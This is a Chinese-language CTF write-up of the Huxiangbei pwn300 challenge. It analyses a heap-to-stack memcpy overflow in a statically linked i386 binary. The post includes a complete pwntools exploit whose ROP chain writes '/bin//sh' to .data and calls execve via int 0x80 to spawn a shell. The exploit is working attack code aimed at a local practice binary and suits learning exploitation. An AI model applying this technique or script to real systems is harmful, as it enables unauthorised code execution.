湖湘杯的pwn比賽很有趣,我做了pwn300的題目,感覺不錯,我把wp分享出來,pwns的下載鏈接是:http://download.csdn.net/download/niexinming/10143408
把pwn300直接拖入ida中:
main函數:
add函數:
這個題目很有意思,首先開闢一個3到255大小的堆空間,然後做加減乘除的計算之後把計算結果放入堆中,最後可以把所有的計算結果用memcpy函數全部放入函數的臨時變量v5中也就是棧中,這樣就會造成棧溢出
先運行一下程序看一下這個程序幹了啥:
再看看程序開啓了哪些保護:
看到這個程序開了棧不可執行,於是肯定就會想到用rop來做
這個題目用ida打開之後發現有很多函數,所以判斷這個題目是靜態編譯的
所以可以用http://blog.csdn.net/niexinming/article/details/78259866 中我提到的ROPgadget工具來做,不出意外,很成功的找了完整的rop鏈
這個題目還有個難點就是不能直接輸入十六進制,所以根據http://blog.csdn.net/niexinming/article/details/78666941 我的這篇文件可以用ctypes.c_int32(0x123).value進行轉換
所以我的exp是:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import binascii
import ctypes as ct
from struct import pack
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048ff5'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
elf = ELF('/home/h11p/hackme/huxiangbei/pwn300')
io = process('/home/h11p/hackme/huxiangbei/pwn300')
p=[]
p.append( 0x0806ed0a) # pop edx ; ret
p.append( 0x080ea060) # @ .data
p.append( 0x080bb406) # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('nib/')))
p.append( 0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append( 0x0806ed0a) # pop edx ; ret
p.append( 0x080ea064) # @ .data + 4
p.append( 0x080bb406) # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('hs//')))
p.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append(0x0806ed0a) # pop edx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x08054730) # xor eax, eax ; ret
p.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append(0x080481c9) # pop ebx ; ret
p.append(0x080ea060) # @ .data
p.append(0x0806ed31) # pop ecx ; pop ebx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x080ea060) # padding without overwrite ebx
p.append(0x0806ed0a) # pop edx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x08054730) # xor eax, eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x08049781) # int 0x80
tempnum=0
#debug()
io.recvuntil('How many times do you want to calculate:')
io.sendline('255')
for i in xrange(0,16):
io.recvuntil('5 Save the result\n')
io.sendline('1')
io.recvuntil('input the integer x:')
io.sendline(str(tempnum))
io.recvuntil('input the integer y:')
io.sendline('0')
for j in p:
io.recvuntil('5 Save the result\n')
io.sendline('1')
io.recvuntil('input the integer x:')
io.sendline(str(ct.c_int32(j).value))
io.recvuntil('input the integer y:')
io.sendline('0')
io.recvuntil('5 Save the result\n')
io.sendline('5')
io.interactive()
io.close()
注意一點就是,就是程序在return 0之前會調用free,而爲了保證free函數的正常運行,前十六次計算的結果必須爲0,後面的計算結果就可以隨意了
最後getshell的效果是: